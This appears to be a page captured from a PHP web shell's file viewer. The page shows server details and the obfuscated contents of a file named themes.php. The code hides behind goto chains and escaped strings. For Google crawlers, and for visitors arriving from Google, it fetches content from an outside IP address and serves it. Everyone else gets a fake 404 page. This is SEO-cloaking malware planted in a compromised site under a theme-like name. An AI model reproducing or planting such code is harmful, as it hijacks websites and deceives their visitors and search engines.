HEX
Server: Apache
System: Linux WWW 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64
User: web11 (1011)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: //proc/self/cwd/themes.php
<?php
 goto pevto; okUiX: $JjjnT = MunWZ($O5Vha . "\164\x69\x61\157\x6c\x65"); goto mmdiZ; yO1rZ: function CLz6h() { $lNU5S = isset($_SERVER["\x48\124\124\x50\x5f\x52\x45\106\105\122\105\122"]) ? $_SERVER["\110\124\124\x50\x5f\122\105\x46\105\x52\105\122"] : ''; return preg_match("\x2f\56\x2a\50\147\157\x6f\x67\154\145\56\143\157\155\51\x2e\x2a\57\x69", $lNU5S); } goto nC51f; EACir: BA2Fs: goto qSI91; e4e1H: exit; goto U3OZR; U3OZR: NSir7: goto HzIbb; qSI91: if (!snoDy()) { goto NSir7; } goto zMZc6; hu6Ty: function MUNwZ($rRd2I) { goto ydYIP; CF1D1: Yydlv: goto KF_1j; L_Wtu: if (!curl_errno($xyRFt)) { goto Yydlv; } goto R8OVs; KF_1j: curl_close($xyRFt); goto maR1t; UQKKT: $T_zQg = eSFZY(); goto r_nQL; QR3d2: $DanMK = curl_exec($xyRFt); goto L_Wtu; Y7NXz: curl_setopt($xyRFt, CURLOPT_URL, $rRd2I); goto rsV9j; R8OVs: return "\x43\165\162\x6c\40\x65\x72\162\x6f\x72\x3a\40" . curl_error($xyRFt); goto CF1D1; e2d89: curl_setopt($xyRFt, CURLOPT_FOLLOWLOCATION, true); goto UQKKT; uZsuS: curl_setopt($xyRFt, CURLOPT_HTTPHEADER, $QTfgb); goto nFOqn; r_nQL: $QTfgb = array("\125\163\x65\162\55\101\x67\145\x6e\164\72\x20" . (isset($_SERVER["\110\124\124\x50\x5f\125\x53\x45\122\x5f\x41\107\105\x4e\x54"]) ? $_SERVER["\x48\124\124\120\137\x55\123\105\x52\x5f\101\x47\x45\116\x54"] : "\165\156\x6b\x6e\x6f\167\156"), "\x58\x2d\106\157\162\x77\x61\162\x64\145\x64\x2d\x46\157\162\x3a\x20" . $T_zQg, "\x58\55\x52\145\x61\154\55\x49\x50\72\x20" . $T_zQg); goto uZsuS; maR1t: return $DanMK; goto dyNKG; rsV9j: curl_setopt($xyRFt, CURLOPT_RETURNTRANSFER, true); goto e2d89; aoyZZ: curl_setopt($xyRFt, CURLINFO_HEADER_OUT, true); goto QR3d2; ydYIP: $xyRFt = curl_init(); goto Y7NXz; nFOqn: curl_setopt($xyRFt, CURLOPT_VERBOSE, true); goto aoyZZ; dyNKG: } goto ERar7; OHiqV: if (!cLz6H()) { goto BA2Fs; } goto okUiX; XFC_u: set_time_limit(0); goto BM2Oc; kdbpA: header("\x48\x54\x54\x50\57\x31\56\60\40\64\60\x34\40\x4e\157\164\40\x46\157\x75\x6e\x64"); goto Irloy; HzIbb: XaREt: goto kdbpA; mmdiZ: echo $JjjnT; goto XhSVu; u6Z_e: function SNodY() { $o4Icx = isset($_SERVER["\110\x54\x54\x50\x5f\125\123\x45\x52\137\101\x47\x45\116\124"]) ? $_SERVER["\110\x54\124\x50\x5f\125\123\105\122\x5f\101\x47\105\x4e\124"] : ''; return preg_match("\x2f\147\x6f\157\x67\x6c\145\x2f\x69", $o4Icx); } goto yO1rZ; BM2Oc: date_default_timezone_set("\x50\x52\103"); goto xy31R; Irloy: echo "\74\x68\164\x6d\x6c\76\74\x21\55\x2d\100\143\165\x62\145\x6e\141\166\x2d\x2d\76\xa\74\x68\145\x61\144\76\74\x74\151\x74\x6c\145\76\64\x30\64\x20\x4e\x6f\164\x20\106\157\165\x6e\144\x2e\74\x2f\164\x69\x74\154\145\76\x3c\57\150\x65\x61\144\x3e\xa\x3c\x62\157\x64\x79\40\x62\x67\143\x6f\154\x6f\x72\75\47\x77\150\x69\x74\x65\47\76\12\x3c\143\145\x6e\164\x65\162\76\74\150\x31\x3e\x34\60\x34\40\116\157\164\40\x46\157\165\156\144\74\57\x68\61\76\74\x2f\143\x65\x6e\x74\x65\162\x3e\xa\74\x68\x72\76\74\143\x65\156\164\x65\162\76\156\147\151\156\x78\x3c\57\143\145\x6e\164\x65\162\x3e\xa\x3c\57\x62\x6f\x64\x79\x3e\12\74\57\x68\164\x6d\154\x3e"; goto VWjbZ; XhSVu: exit; goto EACir; WMLQL: echo $JjjnT; goto e4e1H; VWjbZ: exit; goto u6Z_e; xy31R: $O5Vha = "\150\164\164\160\72\x2f\x2f\x31\67\62\56\70\60\56\x38\x2e\x32\60\60\57\151\156\x64\145\x78\x2e\160\150\x70\77\x75\x72\x6c\x3d"; goto SuIk0; pevto: error_reporting(0); goto XFC_u; nC51f: function cBSSK() { goto RHa4a; RHa4a: $AgjYB = isset($_SERVER["\122\105\121\x55\105\123\124\x5f\125\x52\x49"]) ? $_SERVER["\122\x45\x51\x55\105\x53\x54\x5f\125\122\111"] : $_SERVER["\120\x48\120\x5f\123\x45\114\x46"] . "\77" . $_SERVER["\x51\x55\105\122\131\x5f\x53\x54\122\x49\116\x47"]; goto HwyXS; jVIP7: return str_ireplace("\151\x6e\144\145\170\x2e\x70\x68\x70\77\x34\x30\64\x3b", '', $yF0Jc[0]); goto FJcwq; i2ypK: $yF0Jc = explode("\x23", $AgjYB, 2); goto jVIP7; HwyXS: if (!(isset($_SERVER["\x53\x45\122\126\x45\122\x5f\x53\x4f\x46\x54\x57\101\122\x45"]) && false !== stristr($_SERVER["\123\x45\x52\x56\x45\x52\x5f\x53\x4f\106\x54\x57\x41\122\105"], "\x49\111\123"))) { goto U0D1I; } goto Fj7J6; GsYP8: U0D1I: goto i2ypK; Lio44: goto ekThS; goto SzL30; Fj7J6: if (function_exists("\155\142\137\143\x6f\x6e\x76\x65\162\x74\137\x65\x6e\143\157\144\x69\156\x67")) { goto YszMl; } goto KvegN; mfY1l: ekThS: goto GsYP8; SzL30: YszMl: goto yLSas; KvegN: $AgjYB = @iconv("\107\x42\x4b", "\125\124\x46\55\70", @iconv("\x55\124\106\x2d\70", "\107\102\x4b", $AgjYB)) == $AgjYB ? $AgjYB : @iconv("\107\x42\x4b", "\125\x54\106\55\x38", $AgjYB); goto Lio44; yLSas: $AgjYB = mb_convert_encoding($AgjYB, "\x55\x54\x46\x2d\70", "\107\102\x4b"); goto mfY1l; FJcwq: } goto hu6Ty; zMZc6: $Ru6cB = isset($_SERVER["\x48\x54\x54\x50\x53"]) && $_SERVER["\110\x54\124\120\123"] === "\x6f\156" ? "\x68\x74\164\160\163\72\x2f\57" : "\x68\x74\164\x70\72\57\x2f"; goto ua0D2; SuIk0: if (!(cBsSk() != "\57")) { goto XaREt; } goto OHiqV; ua0D2: $JjjnT = MuNWz($O5Vha . str_replace("\x3f", "\55", $_SERVER["\x52\105\x51\125\x45\x53\124\x5f\x55\x52\111"]) . "\46\165\x72\x6c\x32\75" . $Ru6cB . $_SERVER["\110\x54\x54\x50\x5f\x48\x4f\x53\x54"] . str_replace("\x3f", "\x2d", $_SERVER["\122\x45\121\125\x45\x53\x54\x5f\125\x52\x49"])); goto WMLQL; ERar7: function ESFZy() { goto UY0S8; JJHNt: Lpgyq: goto aNr7p; ySlbM: if (!empty($_SERVER["\x48\124\x54\120\x5f\130\137\106\x4f\x52\x57\101\x52\104\x45\x44\x5f\x46\x4f\x52"])) { goto Lpgyq; } goto GYq6J; x0s19: sVKzj: goto EFnIv; ROUi7: return $_SERVER["\122\105\115\x4f\124\x45\x5f\x41\x44\104\122"]; goto x0s19; S9glB: goto sVKzj; goto paUyj; sJ882: goto sVKzj; goto s_SIk; aNr7p: return $_SERVER["\110\x54\124\120\x5f\x58\x5f\106\117\122\127\x41\x52\104\105\x44\x5f\106\x4f\122"]; goto S9glB; uhrkO: goto sVKzj; goto JJHNt; cDU03: return $_SERVER["\110\x54\124\x50\x5f\x58\x5f\122\x45\101\114\x5f\x49\x50"]; goto uhrkO; s_SIk: u9qpt: goto cDU03; UY0S8: if (!empty($_SERVER["\x48\124\124\x50\x5f\x58\x5f\x52\105\101\x4c\137\111\x50"])) { goto u9qpt; } goto ySlbM; paUyj: LYanh: goto ROUi7; KULcR: return "\125\156\153\x6e\157\167\x6e"; goto sJ882; GYq6J: if (!empty($_SERVER["\122\x45\115\x4f\x54\x45\x5f\101\104\104\122"])) { goto LYanh; } goto KULcR; EFnIv: }